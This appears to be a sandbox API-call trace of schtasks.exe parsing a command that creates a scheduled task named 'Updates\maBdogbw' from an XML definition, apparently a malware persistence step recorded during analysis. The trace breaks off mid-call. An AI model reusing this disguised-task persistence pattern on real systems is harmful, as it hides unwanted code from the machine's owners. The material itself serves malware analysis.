[0288.064] _onexit (_Func=0x101101e) returned 0x101101e [0288.064] _onexit (_Func=0x101103a) returned 0x101103a [0288.064] _onexit (_Func=0x1011056) returned 0x1011056 [0288.064] _onexit (_Func=0x1011072) returned 0x1011072 [0288.064] _onexit (_Func=0x101108e) returned 0x101108e [0288.064] _onexit (_Func=0x10110aa) returned 0x10110aa [0288.064] _onexit (_Func=0x10110c6) returned 0x10110c6 [0288.065] _onexit (_Func=0x10110e2) returned 0x10110e2 [0288.065] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0288.065] WinSqmIsOptedIn () returned 0x0 [0288.065] GetProcessHeap () returned 0x4f0000 [0288.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x10) returned 0x4ff598 [0288.065] SetLastError (dwErrCode=0x0) [0288.065] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0288.065] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0288.065] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0288.065] VerifyVersionInfoW (in: lpVersionInformation=0x24f350, dwTypeMask=0x3, dwlConditionMask=0x1801b | out: lpVersionInformation=0x24f350) returned 1 [0288.065] GetProcessHeap () returned 0x4f0000 [0288.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x10) returned 0x505198 [0288.066] lstrlenW (lpString="") returned 0 [0288.066] GetProcessHeap () returned 0x4f0000 [0288.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x2) returned 0x505580 [0288.066] GetProcessHeap () returned 0x4f0000 [0288.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505590 [0288.066] GetProcessHeap () returned 0x4f0000 [0288.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x10) returned 0x5051b0 [0288.066] GetProcessHeap () returned 0x4f0000 [0288.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x5055b0 [0288.066] GetProcessHeap () returned 0x4f0000 [0288.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x5055d0 [0288.066] GetProcessHeap () returned 0x4f0000 [0288.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x5055f0 [0288.066] GetProcessHeap () returned 0x4f0000 [0288.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505610 [0288.066] GetProcessHeap () returned 0x4f0000 [0288.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x10) returned 0x5051c8 [0288.066] GetProcessHeap () returned 0x4f0000 [0288.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505630 [0288.066] GetProcessHeap () returned 0x4f0000 [0288.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505650 [0288.066] GetProcessHeap () returned 0x4f0000 [0288.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505670 [0288.066] GetProcessHeap () returned 0x4f0000 [0288.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505690 [0288.066] GetProcessHeap () returned 0x4f0000 [0288.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x10) returned 0x5051e0 [0288.066] GetProcessHeap () returned 0x4f0000 [0288.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x5056b0 [0288.066] GetProcessHeap () returned 0x4f0000 [0288.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x5056d0 [0288.067] GetProcessHeap () returned 0x4f0000 [0288.067] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505708 [0288.067] GetProcessHeap () returned 0x4f0000 [0288.067] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505728 [0288.067] SetThreadUILanguage (LangId=0x0) returned 0x409 [0288.067] SetLastError (dwErrCode=0x0) [0288.068] GetProcessHeap () returned 0x4f0000 [0288.068] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505748 [0288.068] GetProcessHeap () returned 0x4f0000 [0288.068] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505768 [0288.068] GetProcessHeap () returned 0x4f0000 [0288.068] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505788 [0288.068] GetProcessHeap () returned 0x4f0000 [0288.068] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x5057a8 [0288.068] GetProcessHeap () returned 0x4f0000 [0288.068] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x5057c8 [0288.068] GetProcessHeap () returned 0x4f0000 [0288.068] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x10) returned 0x5051f8 [0288.068] _memicmp (_Buf1=0x5051f8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.068] GetProcessHeap () returned 0x4f0000 [0288.068] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x208) returned 0x506070 [0288.068] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x506070, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20 [0288.068] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x73e30000 [0288.071] GetProcAddress (hModule=0x73e30000, lpProcName="GetFileVersionInfoSizeW") returned 0x73e319d9 [0288.071] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0288.071] GetProcessHeap () returned 0x4f0000 [0288.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x74e) returned 0x506280 [0288.071] GetProcAddress (hModule=0x73e30000, lpProcName="GetFileVersionInfoW") returned 0x73e319f4 [0288.071] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x506280 | out: lpData=0x506280) returned 1 [0288.072] GetProcAddress (hModule=0x73e30000, lpProcName="VerQueryValueW") returned 0x73e31b51 [0288.072] VerQueryValueW (in: pBlock=0x506280, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x24f458, puLen=0x24f45c | out: lplpBuffer=0x24f458*=0x50661c, puLen=0x24f45c) returned 1 [0288.075] _memicmp (_Buf1=0x5051f8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.075] _vsnwprintf (in: _Buffer=0x506070, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x24f440 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0288.075] VerQueryValueW (in: pBlock=0x506280, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x24f468, puLen=0x24f464 | out: lplpBuffer=0x24f468*=0x506448, puLen=0x24f464) returned 1 [0288.075] lstrlenW (lpString="schtasks.exe") returned 12 [0288.075] lstrlenW (lpString="schtasks.exe") returned 12 [0288.075] lstrlenW (lpString=".EXE") returned 4 [0288.075] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0288.076] lstrlenW (lpString="schtasks.exe") returned 12 [0288.076] lstrlenW (lpString=".EXE") returned 4 [0288.076] _memicmp (_Buf1=0x5051f8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.076] lstrlenW (lpString="schtasks") returned 8 [0288.077] GetProcessHeap () returned 0x4f0000 [0288.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505808 [0288.077] GetProcessHeap () returned 0x4f0000 [0288.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505828 [0288.077] GetProcessHeap () returned 0x4f0000 [0288.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505848 [0288.077] GetProcessHeap () returned 0x4f0000 [0288.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505868 [0288.077] GetProcessHeap () returned 0x4f0000 [0288.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x10) returned 0x505258 [0288.077] _memicmp (_Buf1=0x505258, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.077] GetProcessHeap () returned 0x4f0000 [0288.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0xa0) returned 0x506c60 [0288.077] GetProcessHeap () returned 0x4f0000 [0288.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505888 [0288.077] GetProcessHeap () returned 0x4f0000 [0288.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x5058a8 [0288.077] GetProcessHeap () returned 0x4f0000 [0288.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x5058c8 [0288.077] GetProcessHeap () returned 0x4f0000 [0288.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x10) returned 0x505270 [0288.077] _memicmp (_Buf1=0x505270, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.077] GetProcessHeap () returned 0x4f0000 [0288.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x200) returned 0x506d08 [0288.078] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x506d08, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0288.078] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0288.078] GetProcessHeap () returned 0x4f0000 [0288.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x30) returned 0x506f10 [0288.078] _vsnwprintf (in: _Buffer=0x506c60, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x24f444 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0288.078] GetProcessHeap () returned 0x4f0000 [0288.078] GetProcessHeap () returned 0x4f0000 [0288.078] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506280) returned 1 [0288.078] GetProcessHeap () returned 0x4f0000 [0288.078] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x506280) returned 0x74e [0288.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506280 | out: hHeap=0x4f0000) returned 1 [0288.078] SetLastError (dwErrCode=0x0) [0288.078] GetThreadLocale () returned 0x409 [0288.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.078] lstrlenW (lpString="?") returned 1 [0288.078] GetThreadLocale () returned 0x409 [0288.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.078] lstrlenW (lpString="create") returned 6 [0288.079] GetThreadLocale () returned 0x409 [0288.079] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.079] lstrlenW (lpString="delete") returned 6 [0288.079] GetThreadLocale () returned 0x409 [0288.079] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.079] lstrlenW (lpString="query") returned 5 [0288.079] GetThreadLocale () returned 0x409 [0288.079] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.079] lstrlenW (lpString="change") returned 6 [0288.079] GetThreadLocale () returned 0x409 [0288.079] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.079] lstrlenW (lpString="run") returned 3 [0288.079] GetThreadLocale () returned 0x409 [0288.079] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.079] lstrlenW (lpString="end") returned 3 [0288.079] GetThreadLocale () returned 0x409 [0288.079] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.079] lstrlenW (lpString="showsid") returned 7 [0288.079] GetThreadLocale () returned 0x409 [0288.079] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.079] SetLastError (dwErrCode=0x0) [0288.079] SetLastError (dwErrCode=0x0) [0288.079] lstrlenW (lpString="/Create") returned 7 [0288.079] lstrlenW (lpString="-/") returned 2 [0288.079] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0288.079] lstrlenW (lpString="?") returned 1 [0288.079] lstrlenW (lpString="?") returned 1 [0288.079] GetProcessHeap () returned 0x4f0000 [0288.080] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x10) returned 0x505288 [0288.080] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.080] GetProcessHeap () returned 0x4f0000 [0288.080] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0xa) returned 0x5052a0 [0288.080] lstrlenW (lpString="Create") returned 6 [0288.080] GetProcessHeap () returned 0x4f0000 [0288.080] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x10) returned 0x5052b8 [0288.080] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.080] GetProcessHeap () returned 0x4f0000 [0288.080] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x5058e8 [0288.080] _vsnwprintf (in: _Buffer=0x5052a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|?|") returned 3 [0288.080] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x9, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|Create|") returned 8 [0288.080] lstrlenW (lpString="|?|") returned 3 [0288.080] lstrlenW (lpString="|Create|") returned 8 [0288.080] SetLastError (dwErrCode=0x490) [0288.080] lstrlenW (lpString="create") returned 6 [0288.080] lstrlenW (lpString="create") returned 6 [0288.080] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.080] GetProcessHeap () returned 0x4f0000 [0288.080] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5052a0) returned 1 [0288.080] GetProcessHeap () returned 0x4f0000 [0288.080] RtlReAllocateHeap (Heap=0x4f0000, Flags=0xc, Ptr=0x5052a0, Size=0x14) returned 0x505908 [0288.080] lstrlenW (lpString="Create") returned 6 [0288.080] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.081] _vsnwprintf (in: _Buffer=0x505908, _BufferCount=0x9, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|create|") returned 8 [0288.081] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x9, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|Create|") returned 8 [0288.081] lstrlenW (lpString="|create|") returned 8 [0288.081] lstrlenW (lpString="|Create|") returned 8 [0288.081] StrStrIW (lpFirst="|create|", lpSrch="|Create|") returned="|create|" [0288.081] SetLastError (dwErrCode=0x0) [0288.081] SetLastError (dwErrCode=0x0) [0288.081] SetLastError (dwErrCode=0x0) [0288.081] lstrlenW (lpString="/TN") returned 3 [0288.081] lstrlenW (lpString="-/") returned 2 [0288.081] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0288.081] lstrlenW (lpString="?") returned 1 [0288.081] lstrlenW (lpString="?") returned 1 [0288.081] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.081] lstrlenW (lpString="TN") returned 2 [0288.081] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.081] _vsnwprintf (in: _Buffer=0x505908, _BufferCount=0x4, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|?|") returned 3 [0288.081] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|TN|") returned 4 [0288.081] lstrlenW (lpString="|?|") returned 3 [0288.081] lstrlenW (lpString="|TN|") returned 4 [0288.081] SetLastError (dwErrCode=0x490) [0288.081] lstrlenW (lpString="create") returned 6 [0288.081] lstrlenW (lpString="create") returned 6 [0288.081] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.081] lstrlenW (lpString="TN") returned 2 [0288.082] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.082] _vsnwprintf (in: _Buffer=0x505908, _BufferCount=0x9, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|create|") returned 8 [0288.082] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|TN|") returned 4 [0288.082] lstrlenW (lpString="|create|") returned 8 [0288.082] lstrlenW (lpString="|TN|") returned 4 [0288.082] StrStrIW (lpFirst="|create|", lpSrch="|TN|") returned 0x0 [0288.082] SetLastError (dwErrCode=0x490) [0288.082] lstrlenW (lpString="delete") returned 6 [0288.082] lstrlenW (lpString="delete") returned 6 [0288.082] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.082] lstrlenW (lpString="TN") returned 2 [0288.082] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.082] _vsnwprintf (in: _Buffer=0x505908, _BufferCount=0x9, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|delete|") returned 8 [0288.082] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|TN|") returned 4 [0288.082] lstrlenW (lpString="|delete|") returned 8 [0288.082] lstrlenW (lpString="|TN|") returned 4 [0288.082] StrStrIW (lpFirst="|delete|", lpSrch="|TN|") returned 0x0 [0288.082] SetLastError (dwErrCode=0x490) [0288.082] lstrlenW (lpString="query") returned 5 [0288.082] lstrlenW (lpString="query") returned 5 [0288.082] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.082] lstrlenW (lpString="TN") returned 2 [0288.082] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.082] _vsnwprintf (in: _Buffer=0x505908, _BufferCount=0x8, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|query|") returned 7 [0288.083] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|TN|") returned 4 [0288.083] lstrlenW (lpString="|query|") returned 7 [0288.083] lstrlenW (lpString="|TN|") returned 4 [0288.083] StrStrIW (lpFirst="|query|", lpSrch="|TN|") returned 0x0 [0288.083] SetLastError (dwErrCode=0x490) [0288.083] lstrlenW (lpString="change") returned 6 [0288.083] lstrlenW (lpString="change") returned 6 [0288.083] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.083] lstrlenW (lpString="TN") returned 2 [0288.083] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.083] _vsnwprintf (in: _Buffer=0x505908, _BufferCount=0x9, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|change|") returned 8 [0288.083] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|TN|") returned 4 [0288.083] lstrlenW (lpString="|change|") returned 8 [0288.083] lstrlenW (lpString="|TN|") returned 4 [0288.083] StrStrIW (lpFirst="|change|", lpSrch="|TN|") returned 0x0 [0288.083] SetLastError (dwErrCode=0x490) [0288.083] lstrlenW (lpString="run") returned 3 [0288.083] lstrlenW (lpString="run") returned 3 [0288.083] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.083] lstrlenW (lpString="TN") returned 2 [0288.083] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.083] _vsnwprintf (in: _Buffer=0x505908, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|run|") returned 5 [0288.083] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|TN|") returned 4 [0288.083] lstrlenW (lpString="|run|") returned 5 [0288.084] lstrlenW (lpString="|TN|") returned 4 [0288.084] StrStrIW (lpFirst="|run|", lpSrch="|TN|") returned 0x0 [0288.084] SetLastError (dwErrCode=0x490) [0288.084] lstrlenW (lpString="end") returned 3 [0288.084] lstrlenW (lpString="end") returned 3 [0288.084] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.084] lstrlenW (lpString="TN") returned 2 [0288.084] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.084] _vsnwprintf (in: _Buffer=0x505908, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|end|") returned 5 [0288.084] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|TN|") returned 4 [0288.084] lstrlenW (lpString="|end|") returned 5 [0288.084] lstrlenW (lpString="|TN|") returned 4 [0288.084] StrStrIW (lpFirst="|end|", lpSrch="|TN|") returned 0x0 [0288.084] SetLastError (dwErrCode=0x490) [0288.084] lstrlenW (lpString="showsid") returned 7 [0288.084] lstrlenW (lpString="showsid") returned 7 [0288.084] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.084] GetProcessHeap () returned 0x4f0000 [0288.084] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505908) returned 1 [0288.084] GetProcessHeap () returned 0x4f0000 [0288.084] RtlReAllocateHeap (Heap=0x4f0000, Flags=0xc, Ptr=0x505908, Size=0x16) returned 0x505928 [0288.084] lstrlenW (lpString="TN") returned 2 [0288.084] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.084] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0xa, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|showsid|") returned 9 [0288.084] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|TN|") returned 4 [0288.085] lstrlenW (lpString="|showsid|") returned 9 [0288.085] lstrlenW (lpString="|TN|") returned 4 [0288.085] StrStrIW (lpFirst="|showsid|", lpSrch="|TN|") returned 0x0 [0288.085] SetLastError (dwErrCode=0x490) [0288.085] SetLastError (dwErrCode=0x490) [0288.085] SetLastError (dwErrCode=0x0) [0288.085] lstrlenW (lpString="/TN") returned 3 [0288.085] StrChrIW (lpStart="/TN", wMatch=0x3a) returned 0x0 [0288.085] SetLastError (dwErrCode=0x490) [0288.085] SetLastError (dwErrCode=0x0) [0288.085] lstrlenW (lpString="/TN") returned 3 [0288.085] GetProcessHeap () returned 0x4f0000 [0288.085] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x8) returned 0x506f48 [0288.085] GetProcessHeap () returned 0x4f0000 [0288.085] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505908 [0288.085] SetLastError (dwErrCode=0x0) [0288.085] SetLastError (dwErrCode=0x0) [0288.085] lstrlenW (lpString="Updates\\maBdogbw") returned 16 [0288.085] lstrlenW (lpString="-/") returned 2 [0288.085] StrChrIW (lpStart="-/", wMatch=0x55) returned 0x0 [0288.085] SetLastError (dwErrCode=0x490) [0288.085] SetLastError (dwErrCode=0x490) [0288.085] SetLastError (dwErrCode=0x0) [0288.085] lstrlenW (lpString="Updates\\maBdogbw") returned 16 [0288.085] StrChrIW (lpStart="Updates\\maBdogbw", wMatch=0x3a) returned 0x0 [0288.085] SetLastError (dwErrCode=0x490) [0288.085] SetLastError (dwErrCode=0x0) [0288.085] lstrlenW (lpString="Updates\\maBdogbw") returned 16 [0288.085] GetProcessHeap () returned 0x4f0000 [0288.085] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x22) returned 0x506f58 [0288.085] GetProcessHeap () returned 0x4f0000 [0288.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505948 [0288.086] SetLastError (dwErrCode=0x0) [0288.086] SetLastError (dwErrCode=0x0) [0288.086] lstrlenW (lpString="/XML") returned 4 [0288.086] lstrlenW (lpString="-/") returned 2 [0288.086] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0288.086] lstrlenW (lpString="?") returned 1 [0288.086] lstrlenW (lpString="?") returned 1 [0288.086] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.086] lstrlenW (lpString="XML") returned 3 [0288.086] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.086] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|?|") returned 3 [0288.086] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|XML|") returned 5 [0288.086] lstrlenW (lpString="|?|") returned 3 [0288.086] lstrlenW (lpString="|XML|") returned 5 [0288.086] SetLastError (dwErrCode=0x490) [0288.086] lstrlenW (lpString="create") returned 6 [0288.086] lstrlenW (lpString="create") returned 6 [0288.086] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.086] lstrlenW (lpString="XML") returned 3 [0288.086] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.086] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x9, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|create|") returned 8 [0288.086] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|XML|") returned 5 [0288.086] lstrlenW (lpString="|create|") returned 8 [0288.087] lstrlenW (lpString="|XML|") returned 5 [0288.087] StrStrIW (lpFirst="|create|", lpSrch="|XML|") returned 0x0 [0288.087] SetLastError (dwErrCode=0x490) [0288.087] lstrlenW (lpString="delete") returned 6 [0288.087] lstrlenW (lpString="delete") returned 6 [0288.087] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.087] lstrlenW (lpString="XML") returned 3 [0288.087] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.087] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x9, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|delete|") returned 8 [0288.087] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|XML|") returned 5 [0288.087] lstrlenW (lpString="|delete|") returned 8 [0288.087] lstrlenW (lpString="|XML|") returned 5 [0288.087] StrStrIW (lpFirst="|delete|", lpSrch="|XML|") returned 0x0 [0288.087] SetLastError (dwErrCode=0x490) [0288.087] lstrlenW (lpString="query") returned 5 [0288.087] lstrlenW (lpString="query") returned 5 [0288.087] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.087] lstrlenW (lpString="XML") returned 3 [0288.087] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.087] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x8, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|query|") returned 7 [0288.087] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|XML|") returned 5 [0288.087] lstrlenW (lpString="|query|") returned 7 [0288.087] lstrlenW (lpString="|XML|") returned 5 [0288.087] StrStrIW (lpFirst="|query|", lpSrch="|XML|") returned 0x0 [0288.088] SetLastError (dwErrCode=0x490) [0288.088] lstrlenW (lpString="change") returned 6 [0288.088] lstrlenW (lpString="change") returned 6 [0288.088] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.088] lstrlenW 